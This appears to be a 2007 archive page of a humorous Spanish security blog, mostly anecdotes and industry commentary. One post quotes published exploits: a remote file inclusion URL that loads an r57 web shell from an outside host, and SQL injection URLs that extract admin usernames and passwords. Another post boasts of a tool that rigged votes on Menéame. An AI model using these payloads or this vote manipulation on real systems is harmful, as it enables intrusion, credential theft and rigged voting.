sábado, junio 30, 2007

Me encanta cuando me la menean

No se como lo consigo, pero cada vez que me la menean consigo tener ¡más votos negativos que nadie!

Cuando alguien sube alguna de las cosas que escribo en este blgog (en este "pozo de inmundicias y mentiras", en este pútrido refugio de desinformación) consigo un montón de votos negativos. Debo estar batiendo records, veamos, al momento de escribir este artículo, viendo todas las noticias subidas a menéame de "El lado del mal" contabilizo 67 votos negativos [Viernes 20:08].

http://meneame.net/search/elladodelmal.

Ya es sabido que el señor Galli, creador de menéame, es un evangelista del Software Libre, así que he de suponer que todos los votos negativos tienen su cierta lógica con todas las tonterías que publico por aquí.

Con los comentarios aprendo mucho, así que es divertido. He de reconocer que en unos de los primeros posts con mensajes negativos pensé: "¿Esto se podrá hackear?". Ya lo habían hecho con anterioridad y tuvo un corolario genial en este post en el que la actitud del señor Galli va de un extremo ofendido y subido a un final humilde y agradecido. No tiene desperdicio.

Menéame hackeado

Así que pensando, pensando, apareció un sistema para votar a lo bestia a una noticia. La idea es muy sencillita, jugando con los sistemas de anonimato de Internet. Mi developer personal hizo un programita que se llama MeneameInjector para automatizar ésto, que probamos previamente a mano, al que nosotros, cariñosamente, llamamos Pajote [Porque todos sabéis que más de tres meneos son paja]. Seleccionamos una noticia al azar de algo que no tenía que ver para nada con la tecnología. ID 83411, no me acuerdo de que iba esta cosa. El id de la noticia se ve en la función de javascript de menear.

Y allá que fuimos, le hicimos una pajilla y... 170 votos.


Ahora me están meneando otra con el tema del informe comparativo sobre las vulnerabilidades seis meses después en los sistemas operativos.

Yo como buen político y pajillero me he la he meneado (2 veces). A ver si consigo algún reto en votos negativos, así que nada, cuando queráis, me la meneais, que de allí, de menéame, ha salido algún lector enganchado de este blog, así que no está tan mal (a pesar de los votos negativos).

Aps, una última cosa, esto lo hicimos a principios de año, más o menos, y después hemos visto que han implantado un sistema de retardo para los votos anónimos y un ratio de validación entre votos anónimos y autenticados, así que es un poco más lento el sistema, pero se puede subir el número de votos igualmente.

¡Saludos!

viernes, junio 29, 2007

Soy Pocholo

Hace casi un año cuando me eligieron como “Most Valuable Pet” of the Month me preguntaron que solía llevar en mi mochila. Vaya pregunta más tonta, ¿no?, como si el llevar una cosa u otra te marcara de forma distinta. Entonces contesté lo que me parecía una evidencia:

What’s in your computer bag?

One will always find a comic (usually EC selections that are edited in Spanish in pocket format), candies and several pen drives.


La semana pasada, tras una reunión con personal no informático, uno me preguntó por el portátil que llevaba:

- ¿Y cómo lo amplías? Me dijo.

- ¿Ampliar?, no, no, yo lo compro cargado de micro, VGA y RAM y una vez que no me vale lo cambio.

- ¿Y cuando se te llena el disco duro?
Replicó.

- Hombre, siempre llevo “penedrives” para emergencias, como estos (mano a la mochila) este es de 64 mb, este de 256, este de 1 Gb y este es de 2 Gb, ¿ves?

- Ya, ya pero cuando necesitas mucho más espacio de dos gigas ¿cómo lo haces?
, insistió.

- Na, hombre, para esos casos (mano a la mochila) usamos los discos duros USB, ¿ves? Yo llevo uno de 20 Gbs y 2 de 40 Gigas.

- ¿y eso no necesita alimentación?
Volvió a preguntar.

- Na, la pila la coge del USB, con estos cables (mano a la mochila) es suficiente, no necesitas cargador. Para cargadores ya tengo bastante con el del portátil, el móvil (mano a la mochila), el de la PSP (mano a la mochila) y el de la cámara de fotos digital (mano a la mochila).

- ¿PSP? ¿qué es eso?
(recordad que no eran informáticos ni frikis).

- La PSP es ésto (mano a la mochila). Es para matar las horas en los viajes.

- ¿Y no molesta a la gente el ruido en los viajes?,
preguntó con inocencia.

- No hombre, para eso llevo varios cascos que voy cogiendo de los viajes en AVE por si se me rompen.

- ¿la PSP te la venden sin cascos?,
Curioseó.

- No, pero es que viene restringido el volumen y es mejor llevar cascos cutres.

- ¡ Joder!, solo te falta el Ipod!
me dijo.

- Pues te equivocas, llevo un ipod nano de 1 Gb (mano a la mochila) pero el que más uso es este Creative Zen Touch de 20 Gb (mano a la mochila).

Entonces se descojonó.

- Los informáticos estáis enfermos

- ¿Por qué?
Respondí.

- Vas con más cacharros que el Inspector Gadget. Yo solo llevo el móvil me dijo.

- Yo también llevo móvil (Smartphone), a ver si vas a pensar que soy un raro, respondí.


Se volvió a descojonar otra vez.

Me quedé un poco extrañado, y entonces me di cuenta de que SÍ, que algo distintos empezamos a ser los unos y los otros. Y eso que no saqué el Huawei para la 3G, el ratón Bluetooth inalámbrico y el presenter USB para pasar las diapositivas, si lo hago, le da algo. Cuando salgo del coche y voy a cualquier sitio siempre llevo conmigo la mochila. Ya sé porque lo hago, para no sentirme como Pocholo.

- Y también llevarás condones, ¿no?.

- ¿Condones? ¿Para qué?


Esta semana he vaciado la mochila y he sacado “alguna cosilla” para volverme un poco más normal o quizás… ¿somos nosotros los normales?

jueves, junio 28, 2007

Medio Año

Jeff Jones es uno de de los malignos de seguridad como yo, es decir, de los hooligans que les gusta hostigar la web con posts incendiarios y comentarios al más puro estilo de Spectra. Ya la montó hace 3 meses con el informe sobre los fallos de los sistemas operativos en sus 90 primeros días de vida.

Ahora, 6 meses después del lanzamiento de Vista, ha sacado un informe con los datos de las vulnerabilidades de los sistemas operativos en el primer medio año de vida. Como en el informe de los 90 días le acusaron de haber comparado Vista con las distros completas de Linux, esta vez ha hecho una comparación “Apple-to-Apple”, para lo cual ha usado las versiones reducidas de las distros y ha quitado editores, herramientas gráficas, ofimáticas, etc.., para que le salieran unas cuentas a gusto de todos.

En dicho informe se muestran los siguientes resultados:

1.- Comparando todas las vulnerabilidades corregidas y no corregidas hechas públicas.


2.- Ahora comparamos solo las de nivel High Severity.


3.- Ahora comparamos las vulnerabilidades en los sistemas usando el método Apple-to-Apple, es decir, quitando de la distro todo aquello que no sea comparable con la instalación de Vista. Básicamente la idea es quitar todo componente opcional y toda la utilería ofimática.


4.- Por último, el mismo sistema, pero ahora solo con las vulnerabilidades High Severtiy.


Como seguro que a muchos no les gustaran estos datos y los tildarán de hooligans, podéis bajaros el pdf con el informe en su blog.

¿Véis como yo no soy tan maloso?

miércoles, junio 27, 2007

El que no sabe es como el que NO VE

¿Qué hacer en estos casos? ¿Cómo contenerse?.

Leo este parrafito de por aquí:

Linux es muy seguro: Fue diseñado desde su base para que fuese un sistema operativo seguro (y lo es siempre y cuando esté bien instalado y configurado). Además es revisado por programadores independientes ayudando a detectar errores en el código. Por contra windows es muy inseguro.

Y ya me deja muy preocupado. Después de leerme el artículo completo me doy cuenta de que estoy frente "a lo que todos ya sabéis" y claro se me enciende el ojo de la mirada sucia. ¿Quién habrá escrito esto? Rápida revisión a la web y ... coño, un link de autores. Click y entonces ya flipo. Las licencias. Completitas en la web. No está mal, no está mal. Revisamos todo, y parece que el texto ese es suyo, no es de nadie bajo ninguna licencia extraña. mmmm.

¿Qué hacer en estos casos? ¿Qué harías tú?¿Qué crees que haría el maligno?

Pues nada, porque tras ver los Autores uno se da cuenta de que no saben. Y ya sabéis, el que no sabe es como el que NO VE. Como ya habréis visto ¿no?

Saludos malignos!

martes, junio 26, 2007

Hazte un Tatoo

Tautarse siempre me dio miedo. El rollo de las agujas siempre me obsesionó y nunca me atreví a hacerme ningún tatuaje, pero sobre todo lo que más me echó para atrás fue el poder cansarme del dibujo. Vale, confieso que soy un cobardica y el dolor de tatuarse es también otro handicap. El caso es que revisando modelos de tatuajes he encontrado algunos dignos de demostrar que somos diferentes hasta para esto. Pensé que, tras ver a mi vecino tatuarse una tropa imperial en el brazo ya había visto el máximo nivel de frikismo, pero resulta que no, que hay gente les supera.

Los tatuajes de amor hacia Spectra.


Y actualizado a Windows Vista. Wow.


La manzanita. Para ir de cools el tatoo es bastante pobre.


Amor a Debian. Claro, imaginate que, en un hipotétito futuro, tienen una peta con el nombre y/o el logo como pasó a Firefox que tuvo que cambiar a IceWeasel. Entonces no solo llevas un tatoo raro, sino que encima tienes que explicar toda la movida al que te pregunte. Y si es chica peor.


- No, antes esto era muy molón, lo que pasa es que hubo un problema con la GPL v3.11 para trabajo en grupo y hubo que cambiar todo, porque pillaron a Ian, el fundador de Debian, usando un Tablet PC con XP y luego se pasó a Open Solaris....hubo una revolución en la web 3.51.... pero te garantizo que antes era un tatoo supercool, vamos, que yo era el más chic de todos... ¿quedamos a tomar algo? ¿no? Venga porfi. ¡Porfi, porfi, porfi!

Amor a Linux. Pobre TUX, como se le reviente la espinilla se va a quedar tuerto.


Muerte a Linux. Uno que tiene claro a quien No ama.


Gamers. Aunque, creo que este del PacMan es el que más me mola. ¿Habéis visto por dónde salen los fantasmas?.


En fin, ¿dónde han quedado los clásicos? Jesucristo, el Ché, Amor de madre,....
¿Tú que te has tatuado o qué te vas a tatuar?

lunes, junio 25, 2007

Magik Tecnicoless

- ¿Satanás? soy Dios, verás hemos tenido un error y te hemos enviado a tres programadores al infierno por error. Necesito que me los devuevlas.

- Dios, soy Satanás. Los programadores se quedan, desde que están aquí han desarrollado aplicaciones que han hecho que vivamos mucho mejor en el infierno.

- Pues no puede ser Satanás, tienen que estar en el cielo, así que te voy a demandar.

- ¿Ah sí? y ¿de dónde vas a sacar a los abogados?


¡Qué buena gente son los programadores!, y que poco están valorados. Lo peor de todo, son aquellos pobres que engalanados con su traje de tecnicoless o de jefe les hacen ir de corbata en blanco para luego escribir código que va a leer una máquina. Como se fueras a causar buena imagen a la CPU. Luego llega el jefe, y como dice el chiste de Dilbert que pongo en las charlas desde que me lo contó el chico maravillas:

[Jefe de Dilbert] - Dilbert, he pensado que es bueno tener una base de datos.

[Dilbert Pensando] - ¡Horror! ¿lo dirá en serio o lo habrá leido en una revista?

[Dilbert contestanto al jefe] - ¿La quiere verde o azul?

[Jefe de Dilbert] - mmmm.... he oido que la malva tiene mucha ram.


Esto suele darse después del "Momento Orujito de Hierbas" con el tecnicoless de turno. La situación es la sigueinte: se han ido de comilona a esos sitios dónde no hay programadores, ya sabéis, asadores dónde van los jefes, tecnicoless y evangelistas de buen vivir, y allí, en la sobremesa, caido ya el vino Protos, Pesquera, Marques de Cáceres, Pago de Carraovejas, siempre Reserva o Gran Reserva (hablo de jefes medios, no de los que tiran de Vega Sicilia), empieza la batalla de los jefes justo cuando alguien dice "¿un orujito de hierbas?".

La batalla de los jefes se juega con mazos Magik en las que un grupo de artístas tecnicoless les han valorado las cartas. Así, nuestro amigo Jefe1 que es mano, comienza:

- Saco ERP que sube +3 puntos en productividad y +2 en beneficios.

A lo cual, el Master tecnicoless dice:

- Un momento, tira un dado de 17 caras para ver el factor de éxito en la implantación, que lo mismo la consultorá te manda una subcontrata subcontratada por un subcontratador que es subcontratado por una empresa que hace Outsourcing.

Jefe1 tira dados y le sale un 2:

- A lo cual Jefe2 se desgueva, jajaja. Creo que te lo va a montar una de las grandes, ji,ji,ji,ji,ji. Y encima se te va a olvidar firmar claúsulas de penalización. jajaja. Si hubieras sacado un 1 te hubiera tocado hacer un MBA en compensación por esta cagada.

Jefe1, indigando saca otra carta del final del mazo:

- Pues ahora saco Data Mining e implanto Business Intelligence en mi empresa que sube un +12 en beneficios y te baja a ti un -4 en clientes.

Jefe2, preocupado, saca carta en su turno.

- Pues yo ahora voy y monto un laboratario I+D+I para desarrollar tecnología de software libre para cuidar vidas, y subo un +4 imagen social, un +2 en carrera política y un + 7 en medios de comunicación.

a lo que el master dice:

- Bueno, bueno, tú tira el dado de 23 caras, que hay que ver que hace tu departamento de RRHH que lo mismo tira de Infojobs y como jefe del laboratorio te toca otro Tecnicoless y además blogger con lo que estás jodido y te cuesta un -10 en beneficios, un -15 en clientes y un -4 en imagen curricular.

Tira dados: un 8.

- Piuff, parece que te vas a hostiar y van a traerte a alguien muy malo, tal vez te pegues la GRAN hostia o consigas mantenerte, pero al menos no tienes a un blogger en tu laboratorio.

Después de esta batalla, entre "en mi empresa tenemos" y "nosotros vamos a implantar" llegan las víctimas. ¿Quiénes? los programadores, que van a tener que comerse el desarrollo de un nuevo producto programado en un lenguaje del que la única formación que han recibido es un manual fotocopiado descargado de la web y con las flechas de "página adelante y página atrás" sustituidas por un cuadrado con una equis roja de "no se ha encontrado la imagen". Conclusión: Cagada de seguridad.

Mirando en los exploits de Milw0rm para la web, durante el último mes se repite la tendencia, día sí, y día también. Cagadas brutales en software para Internet de dos tipos: RFI [Remote File inclusion] (para meter shells en servidores, vamos) y SQL Injection [Para extraer toda la información del motor de bases de datos].

En esta URL tenéis los últimos 30 exploits que se han enviado. Contad los RFI y los SQL Injection. ¡Te cagas! Yo últimamente los reviso todos, me miro los códigos para ver si descubro alguna cosa chula, pero muchos son del tipo siguiente:

Ejemplo RFI. Exploit 4063

BUG:
http://www.site.com/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=evilcode.txt?

Vuln site:
http://www.wiscpsa.org/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=http://www.ekin0x.com/r57.txt?


Ejemplo SQL Injection. Exploit 4095

EXPLOIT 1: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users

EXPLOIT 2: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users

EXAMPLE ON DEMO: http://www.wscreator.com/pharma1/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users


Uno que me ha llamado la atención ha sido este expediente: Exploit 4092

"I wont past every line of this code , because EVERY parameter is vulnerable to sql injection , XSS , full path ... "

Vamos, que son tan evidentes que lo único que piensas es ¡pobre programador!

Nunca decidas hacer algo nuevo en Informática después de comer en un asador

domingo, junio 24, 2007

La palabra del señor

Un día, mientras grababa un webcast sobre ISA Server 2004 apareció un tio rubiete, con sus nauticos y sus pantaloncitos pesquerillos.

- Hola, soy el nuevo evangelista.

Sí, era la primera vez que me presentaban al abuelo. A partir de ese momento comenzamos a trabajar juntos, y cada vez que ibamos a un cliente la cara de la gente era un poema ¿evangelista?. Teníamos que explicar a todo el mundo que era eso de "evangelizar". Y es que el tipo es un IT Pro evangelist, no es que se lo inventara. Es su trabajo. Spectra cuenta con un conjunto de profesionales cuya misión es evangelizar. En España hay unos 8 (creo).

A partir de ese momento inicial de extrañeza en la que nos encontramos pasamos a una segunda fase de diversión. Era gracioso oir al abuelo decir:

- Hola soy Pepe, el evangelista.
- Y el melenas ese que llevas, ¿quién es? ¿el monaguillo?.
Decía siempre algún gracioso.

Luego había que explicar en que consiste ese trabajo. Los evangelistas de Spectra buscan ayudar a las comunidades técnicas para que aprendan a usar o usen mejor las tecnologías spectroides, lo que les convierte en unas de las caras más amables de la compañía. En este par de videos, podéis ver en que consiste el trabajo de un Evangelista. En el primero encontramos "Damisela" Salgado, Developer Evangelist, con el simulador SIMAX de Iñaki.



El video en VideoGoogle

En este otro video, Pepe el evangelista, que pasó a ser el Padre Parada y de ahí a ser "El Abuelo", se junta con otro Gallego en Santiago de Compostela y hacen esto. En casa de Atar, como veis, debatiendo sobre Seguridad Informática.



Y ya, para acabar de darle el toque evangelizador correcto, os dejo el link de la entrevista que le hacen a Juanma "padre" Lao, nuestro querido Informático y Cristiano.

Y entre tanto evanglista, me encuentro yo, el maligno. Manda cojones...

sábado, junio 23, 2007

Imprimiendo

Acabo de terminar la última revisión del Proyecto de Fin de Carrera que tengo que depositar el lunes. Sí, os estoy contando mi vida, pero hoy es Sabado, que cojones y no tengo ganas de flames, así que no leas esto y olvida que has mirado el RSS.

Iré poniendo todas las partes del pfc aquí, el título del mismo es:

Metodología para La Evaluación de la Seguridad en Aplicaciones Web Frente a Ataques Blind SQL Injection


y va sobre eso. ¿Está claro?. Pues hoy os voy a postear la página de agradecimientos, que leches, que estoy contento coño.

Agradecimientos

No hubiera sido posible la realización de este trabajo sin la existencia de mucha gente que me apoya, me anima, me enseña, me provoca y tira de mi, quiero citar a alguno de ellos aquí y ahora por si aún no lo sabían. De todos tomé algo: ¡Gracias!

Rodol, como no. Antonio, mil gracias por las horas. Marta, por animarme siempre. Al Abuelo Parada, el gran Germi, “Babyface” Morón y la Flaca por acompañarme en el camino. Bernardo Quintero, por ser un referente. Alex, Canovas, Matías, Antonio Díaz, por ayudarme con los códigos y las voces. Los “David” de Spectra: “regkey” Cervigón, “damisela” Salgado y Carmonix por ayudarme cuando os lo pido. A “pajarraco” de los Santos, RoMaNSoFt, Kachakil, Victor, Pedro Laguna, Silverhack, Anelkaos, Penyaskito, chico maravillas, Brujo, Gospel, Mandingo, Darkraven, Atar, Comino, Lestaf, Txipi, Sirw2p, Julio Cantó, Carles, el hombre sin sonrisa, etc… por enseñarme cositas. A mis compañeros de Informática64 presentes, Almita, Chumillas, Jero, Rubén, Tony, Fran, Roberto, Joshua, Julián, Juanfran. A Juan Luís Rambla. A los compañeros de i64 pasados que vienen a jugar y cenar. A Los Más Viciosos del Pueblo de Spectra que saben muchas cosas y las cuentan. A los grupos de usuario que me acogen en mis viajes, a los clubs .Net de las universidades que me reciben con cariño. A los lectores del blog y asistentes a los saraos técnicos que me mantienen vivo. A todos los que compartís algo conmigo, mi familia y mis amigos. Si me he olvidado de ti, recuerda que tengo muy mala cabeza. ¡Muach!

“maligno” Josemaricariño

viernes, junio 22, 2007

Spectra I+D+I

Una de las formas que tienen las empresas de crecer es mediante la compra o adquisición de otras empresas más pequeñas en crecimiento. Esto te permite conseguir varias cosas de forma rápida, en primer lugar la tecnología que tiene, en segundo lugar un equipo ya formado de desarrollo y en tercer lugar un posicionamiento en los clientes que ya tienen esa tecnología implantada. Es mucho más costoso generar de nuevo todo el proceso de ingeniería, buscar a los profesionales, desarrollar la tecnología e introducir un producto en un mercado nuevo. Puede sucederte como a la Cherry Coke.

La empresa Google está comprando empresas con tecnología para la web, con lo que la podemos denominar la “Web Eater” porque no solo han sido Youtube o Feedburner, sino un montón de empresas de menos renombre.

En el post de hoy he recogido una lista de algunas empresas que ha comprado Spectra en los últimos tiempos. No deja de ser curioso cómo se construye un departamento de I+D+I. Creo que el verdadero departamento de I+D+I de una multinacional debe tener un equipo de financieros alineados con la innovación.

Como no, faltan históricas como Hotmail, Virtual PC, SQL Server, etc...

- Gecad [10 Junio de 2003][Nota de Prensa]
[Antivirus -> MSRT, Safety Center, OneCare, Forefront Client Security]

- Giant Software [16 de Diciembre de 2004] [Nota de Prensa]
[AntiSpyware -> Windows Defender]

- Sybari [8 de Febrero de 2005] [Nota de Prensa]
[Antigen -> Forefront Server Security for Exchange, for SharePoint, for LCS]

- Groove Networks [10 de Marzo de 2005] [Nota de Prensa]
[Colaboración]

- Teleo [30 de Agosto de 2005] [Nota de Prensa]
[Voz Sobre IP]

- FrontBridge [31 de Agosto de 2005] [Nota de Prensa]
[Email Security -> Exchange Server 2007]

- Alacris [19 de Septiembre de 2005] [Nota de Prensa]
[Gestión de identidades, Smartcard tecnology]

- Unveil Technologies [6 de Octubre de 2005] [Nota de Prensa]
[Tecnología para Call Center]

- Media-Streams [2 de Noviembre de 2005] [Nota de Prensa]
[Voz sobre IP]

- Foldershare [3 de Noviembre de 2005] [Nota de Prensa]
[File Synch]

- GeoTango [23 de Diciembre de 2005] [Nota de Prensa]
[Visualización 3D geográfica. MSN]

- UMT [19 de Enero de 2006] [Nota de Prensa]
[EPM -> Visio, Project]

- SeaDragon [28 de Enero de 2006] [Nota de Prensa]
[Manipulación de fotos grandes en Web -> Photosync]

- FutureSoft’s DynaComm i:Filter [9 de Febrero de 2006] [Nota de Prensa]
[Web Filtering -> Forefront ISA Server]

- MotionBridge [13 de Febrero de 2006] [Nota de Prensa]
[Tecnología de búsqueda para dispositivos móviles]

- Stringbean Software [3 de Marzo de 2006] [Nota de Prensa]
[Almacenamiento en red]

- Apptimum [7 de Marzo de 2006] [Nota de Prensa]
[Application Transfer]

- Onfolio [7 de Marzo de 2006] [Nota de Prensa]
[Análisis Web -> Windows Live]

- ProClarity [3 de Abril de 2006] [Nota de Prensa]
[Reporting]

- Assetmetrix [26 de Abril de 2006] [Nota de Prensa]
[System Center SMS]

- DeepMetrix [3 de Mayo de 2006] [Nota de Prensa]
[Web site stats]

- Massive [4 de Mayo de 2006] [Nota de Prensa]
[Distribuidor de videojuegos]

- Vexcel [4 de Mayo de 2006] [Nota de Prensa]
[Tecnología 3D]

- Whale Comunications [18 de Mayo 2006] [Nota de Prensa]
[Whale -> Forefront IAG]

- Lionhead [4 de Junio de 2006][Nota de Prensa]
[Compañía de Juegos]

- iView [27 de Junio de 2006][Nota de Prensa]
[Tecnología Multimedia]

- Softgrid [17 de Julio de 2006] [Nota de Prensa]
[Virtualización de aplicaciones -> MDOP]

- Wininternals [18 de Julio de 2006][Nota de Prensa]
[Sysinternals, Mark Russinovich]

- Desktop Standard [2 de Octubre de 2006][Nota de Prensa]
[Microsoft Desktop Optimization Pack]

- Colloquis [12 de Octubre de 2006][Nota de Prensa]
[Interacción online]

-MedStory [26 de Febrero de 2007][Nota de Prensa]
[Buscador de Salud]

-Tellme [14 de Marzo de 2007][Nota de Prensa]
[VoIP Provider]

- DevBiz Business Solutions [26 de Marzo de 2007][Nota de Prensa]
[TeamPlain para Visual Studio]

- Screentonic [3 de Mayo de 2007] [Nota de Prensa]
[Publicidad para móviles]

- SoftArtisans, Inc. [9 de Mayo de 2007] [Nota de Prensa]
[Format reporting, file transfer]

-aQuantive [18 de Mayo de 2007] [Nota de Prensa]
[Publicidad online]

- Dundas Technology [4 Junio de 2007][Nota de Prensa]
[Visualización datos -> SQL Server 2008 Reporting Services]

- Engyro [4 de Junio de 2007][Nota de Prensa]
[System Center Engyro]

- Stratature [7 de Junio de 2007] [Nota de Prensa]
[Sharepoint and the Microsoft Office System, Web 2.0, Web Development and Productivity]

Y la más importante de todas, comprar el TALENTO

jueves, junio 21, 2007

Saraos Peligrosos

Me halaga cuando me invitan a participar en saraos. Es genial cuando te dicen, “te vi en tal sitio y me encantó y estoy ahora organizando [sarao] y me gustaría que vinieras a dar una charla”. Tras el halago inicial llegamos a la segunda parte del proceso: La Responsabilidad.

Tras terminar de sentirme halago me empiezo a sentir responsable ya que hay alguien que está jugando su credibilidad y su imagen proponiéndome para que dé una presentación. Sí, se la está jugando porque…., entre nosotros, y sin que se entere mucha gente, ya sabes que yo no soy siempre políticamente correcto y claro, que yo me haya ganado n quejas e m enemigos no importa demasiado, pero en este caso alguien se está jugando eso.

En el último Security Day en Madrid se acercaron un par de asistentes y me dijeron:

- Ey Chema, ¿Te tiras una foto con nosotros? Es que en nuestra oficina tenemos un compañero/s que te odia/n y queremos poner una foto tuya.

Para otra sesión me llamaron y me dijeron:

- Oye, Chema, ¿por qué no vienes y nos haces el monólogo ese de humor que haces.
- No es un monólogo de humor
, conteste, es una charla técnica.
- Ya, bueno, como lo llames tú a esa cosa tan graciosa que haces.


Después de eso me empecé a replantear mi existencia. Al día siguiente de otro Secury Day, en el año 2005 o 2006, alguien llamó a Soporte de Micro… Spectra y mientras resolvía la incidencia por teléfono le contó al ingeniero su paso por el evento:

- El Chema ese es el Torrente de la informática.

Tuve cachondeo durante meses con eso: “¡Qué pasa Torrente!” me decían en las reuniones.

En varias ocasiones, y digo en varias porque me ha pasado varias veces, tras acabar la charla alguien se ha acercado y me ha dicho:

- Oye, ¿tú eres informático o un humorista que hace de informático?

Vamos, que o me paso con los chistes o me quedo corto con las demos. También es común que un 5 % de los asistentes me odien, es como un ritual, en un evento en el que no hay un 5% de gente que me odia es que me he transformado, he cambiado el idioma del bronxtolita al spanish international y me he sentido un poco encorsetado. Sí, se dar charlas sin hacer el capullo, pero entonces dejo de ser un poco yo.

Creo que la queja más chula que he tenido ha sido la que recibí por poner un/os capítulo/s de Cálico Electrónico en el Security Day del año 2005.


“He tenido que oir frases blasmefas en mi religión como: Notarás mi presencia cuando te la meta por el culo”

Además, si la noche antes salimos de fiesta y llegamos un pelín contentos al evento mejor que mejor, pero recuerdo un día que me pasé un pelín, y llegamos a las 6 al hotel un pelín pasados, con lo que el día del evento, es decir unas horas después, no me salían bien las palabras. [ver apuntes de un asistente]

"El peor evento de tu vida Chema", dijo el abuelo. Y en mitad del evento se levantó David Cervigón, porque yo no era capaz de encontrar los canales de la Wifi en la pantalla y dijo al público:

- Por favor, ¿Hay algún ponente en la sala que no esté borracho?

En fin, piénsatelo dos veces antes de llamarme para algo. ¡Qué lo sepas!

miércoles, junio 20, 2007

¡Feliz año nuevo!

*****************************************************************************
Publicado en Windows TI Magzine Número 121 de Junio de 2007
*****************************************************************************

No, no me he tomado tres copas y me he puesto a escribir, bueno, la verdad es que sí, pero no estoy borracho, el título del artículo es porque todos los años, a finales de junio nos encontramos con el particular fin de año fiscal americano y en el que muchas multinacionales se basan, incluida Spectra, por supuesto.

Esta fecha marca el fin de muchos proyectos y el principio de otros. Atrás queda ya el primer gran mensaje [de Spectra] del año fiscal que termina, LOVE, que significaba el Lanzamiento de Office Vista y Exchange. Aún recuerdo mi sorpresa cuando en la entrada de las oficinas un grupo de hippies nos regalaban flores (¿dónde estaba el resto del material hippie?) ¡Pero que bonito!

Justo acabó el LOVE para entrar de lleno en el WOW que significa el lanzamiento de Windows Vista para el mercado doméstico. Una de las frases más repetidas ha sido “Es el lanzamiento más importante de la compañía en la historia”. Y no me extraña, en poco más de un año y medio, debido a la gracia de los años fiscales, hemos visto salir SQL Server 2005, Visual Studio 2005, Office 2007, SharePoint Portal Server 2005, Exchange Server 2007, Windows Vista, Forefront ISA Server 2006, Forefront Intelligent Application Gateway, Forefornt Client Security, System Center 2007...

Después de esto ¿habrá tranquilidad?

Pues de eso nada monada. Este año fiscal que entra viene cargado y repletito de Longhorn, perdón, ya debemos decir su nombre de producto final, Windows Server 2008 y eso significa un esfuerzo significativo para todos. Longhorn nace utilizando el corazón de Windows Vista para crear un servidor robusto que demuestre que puede superar con creces al estable Windows Server 2003 que con la versión R2 ofrece una solución empresarial de primera.

¿Qué nos trae nuevo?

Pues en primer lugar hemos de decir que es un servidor construido en base a roles, el administrador decide qué rol debe cumplir y el sistema configura los componentes estrictamente necesarios para cumplir dicho rol. Como segunda cosa digna de destacar es la arquitectura NAP (Nertwork Access Protection) para la securización de las redes en base a políticas de salud de los clientes. El servicio en … pero ¿qué estoy diciendo? Tienes un pedazo de artículo de 10 páginas sobre Longhorn Beta 3 escrito por Silverhack que lo explica mucho mejor y en detalle.

Este año fiscal que entra viene cargado y repletito de Windows Server 2008.

¿Y qué pasa con el Hypervisor?

Pues sí, ya lo habréis leído en muchos sitios, no saldrá con todas las opciones que estaban anunciadas, lo que ha sido una pequeña decepción para todos, no porque el producto vaya a ser malo sino por el hecho de que cuando no se cumplen las expectativas siempre queda un sabor amargo en la boca, al igual que nos sucedió a todos los Alonsomaniacos con el tercer puesto en el gran premio de Formula 1 de Montmeló.

¿Saldrá algo nuevo más?

No solo de lanzamientos hay que estar atento el año que viene, y parece que la competencia con Google va a marcar el año entero. La “mal llamada compañía del buscador” está ampliando, perdón, ya ha ampliado, sus productos y servicios y de una competencia con Live más o menos enraizada se ha pasado a una competencia con Hosted Exchange, servicios de movilidad, los buscadores en appliance, el anunciado dispositivo para telefonía y bajo el “Search, ads and apps”. Esto se va a poner cuanto menos interesante en una confrontación directa entre ambas compañías que llevan peleando, pero no directamente, desde hace ya unos añitos.

¿Y el googleOS también?

Pues no parece que sea la guerra de Google de momento cuando la mayoría de su clientela usa Windows aunque en estas decisiones no somos los técnicos los que más idea tendremos. Ya ha pasado mucho tiempo desde las primeras supuestas capturas de googleOS que fueron realizadas sobre alguna distro Linux sin ninguna novedad más. Además, este año RedHat ha anunciado que planea sacar un sistema operativo basado en la Web. Uff, qué de peleas se avecinan. Y hablando de peleas …¿Saldrá ya este año la tan esperada versión definitiva de la GPL3? ¿Llegará Linus Torvalds a amigarse con Richard Stallman? ¿Cómo será la vida post Gates? ¿Se producirá el tan hablado juicio por las patentes entre Spectra y el Software Libre? ¿quién se lo quiere perder? ¿crecerá el número de técnicoless?

En fin que seguiremos un año más “entretenidos”. ¡Feliz Año Nuevo… en la playita!

martes, junio 19, 2007

Blind SQL Injection (II de ...).
Hackeando un Servidor de Juegos.

En el post de hoy voy a aprovechar para hablar un poco más sobre las técnicas de Blind SQL Injection, en este caso, un ejemplo de ataque basado en tiempo. En el post anterior vimos una herramienta que buscaba palabras clave en los resultados [Blind SQL Injection en MySQL] , pero..¿qué sucede con esas páginas que cuando descubren un error no cambian? Bueno, pues incluso en esas también se puede conseguir extraer información en base a Verdadero y Falso.

En este caso, lo que se puede realizar es una explotación basada en tiempos, ya veremos algunos ejemplos para Oracle, SQL Server, etc.. pero hoy le toca el turno a MySQL. La idea, es realizar una inyección que compruebe si un valor es cierto, por ejemplo si el primer caracter del hash de la contraseña del administrador es una r, o una s, ... y si se cumple, forzar un retardo en la respuesta. Así, cuando sea verdad, tendremos un retardo extra de tiempo en las respuestas positivas.

Fácil, ¿no?.

Veamos un ejemplo con un exploit real publicado ayer en Milw0rm para el juego Solar Empire.

Este juego, va a ser explotado en la llamada que se hace al php game_listing.php por medio de un parámetro vulnerable a SQL Injection. Que sea vulnerable a SQL Injection quiere decir que el programador concatena el valor pasado sin realizar ningún filtrado de datos o que este filtrado no es lo suficientemente bueno, pero en este caso debe ser explotado por Blind SQL Injection ya que no se muestra ningún mensaje de error y no se pueden ver ningún valor almacenado en el motor de bases de datos, por lo que hay que explotar la vulnerabilidad a ciegas. En este caso, no hay página de Verdadero y Falso como en el primer post [Blind SQL Injection en MySQL] por lo que se va a realizar una explotación basada en tiempos.

